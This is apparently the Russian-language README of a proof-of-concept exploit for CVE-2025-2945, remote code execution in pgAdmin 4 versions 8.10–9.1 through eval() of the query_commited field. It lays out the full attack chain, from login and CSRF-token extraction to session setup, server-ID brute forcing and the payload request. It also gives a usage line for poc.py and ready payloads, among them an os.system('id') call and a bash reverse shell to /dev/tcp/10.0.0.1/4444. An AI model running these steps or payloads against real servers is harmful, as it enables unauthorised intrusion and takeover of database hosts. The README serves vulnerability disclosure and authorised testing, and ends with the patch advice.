
Авторизованное RCE в pgAdmin 4 (8.10–9.1) через инъекцию eval() в Инструменте запросов. Это обновлённый PoC с исправлениями совместимости для изменений аутентификации в pgAdmin 9.x.
Доказательство концепции для CVE-2025-2945, критической уязвимости удаленного выполнения кода в pgAdmin 4.
Затронутые версии: с 8.10 по 9.1
Исправлено в: 9.2 (выпущено 4 апреля 2025)
CVSS v3.1: 9.9 (Критический)
Инструмент Query Tool pgAdmin 4 предоставляет конечную точку, которая принимает параметр query_commited и передает его напрямую встроенной функции eval() Python без какой-либо санитизации. Аутентифицированный злоумышленник может отправить произвольный код Python через этот параметр и выполнить его на стороне сервера от имени учетной записи службы pgAdmin.
Уязвимая конечная точка:
POST /sqleditor/query_tool/download/<trans_id>
Поле query_commited в теле JSON вычисляется как код Python на сервере.
В версиях pgAdmin 4 до 9.2 обработчик загрузки инструмента запросов вызывает eval() для ввода, предоставленного пользователем:
# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))
Не применяется никакая проверка ввода, песочница или разрешение списков. Любое валидное выражение Python выполняется с привилегиями процесса pgAdmin.
/authenticate/login, получение cookie сессии и CSRF-токена/sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> с учетными данными базы данных для установки сессии инструмента запросов/sqleditor/get_server_connection/<sgid>/<sid> перебор ID, пока один не вернет data.status == true/sqleditor/query_tool/download/<trans_id> с {"query_commited": "<python payload>"}, получение ответа 500, подтверждающего выполнениеСтарые версии pgAdmin встраивали CSRF-токен в скрытое поле <input> или cookie. Версия 9.x перешла на архитектуру React SPA, где токен встраивается как JSON в вызов window.renderSecurityPage() на странице /login:
"csrfToken": "<token value>"
Токен привязан к сессии (Flask-WTF / itsdangerous), поэтому токен, полученный из начального GET /login, остается действительным на протяжении всей сессии и может быть повторно использован для всех последующих вызовов API.
pgAdmin 9.x разделил маршрут входа:
GET /login — отображает страницу входа (содержит CSRF-токен)POST /authenticate/login — обрабатывает учетные данныеСтарые PoC, которые отправляют POST напрямую на /login, получат ошибку 404 или 405 на экземплярах 9.x.
pip install requests faker
python3 poc.py \
--rhost <target_host> \
--username <pgadmin_email> \
--password <pgadmin_password> \
--db-user <db_username> \
--db-pass <db_password> \
--db-name <database_name> \
--payload "<python_expression>"
| Аргумент | Описание |
|---|---|
--rhost | Целевое имя хоста или IP (без схемы) |
--rport | Целевой порт (по умолчанию: 80) |
--username | Email для входа в pgAdmin |
--password | Пароль для входа в pgAdmin |
--db-user | Имя пользователя PostgreSQL |
--db-pass | Пароль PostgreSQL |
--db-name | Имя базы данных |
--payload | Выражение Python для вычисления на сервере |
--max-server-id | Максимальное количество ID серверов для проверки (по умолчанию: 10) |
Выполнение команды:
--payload "__import__('os').system('id')"
Обратная оболочка:
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"
/sqleditor/query_tool/download/Обновитесь до pgAdmin 4 версии 9.2 или новее.
Этот репозиторий предназначен только для образовательных целей и авторизованного тестирования. Не используйте против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения.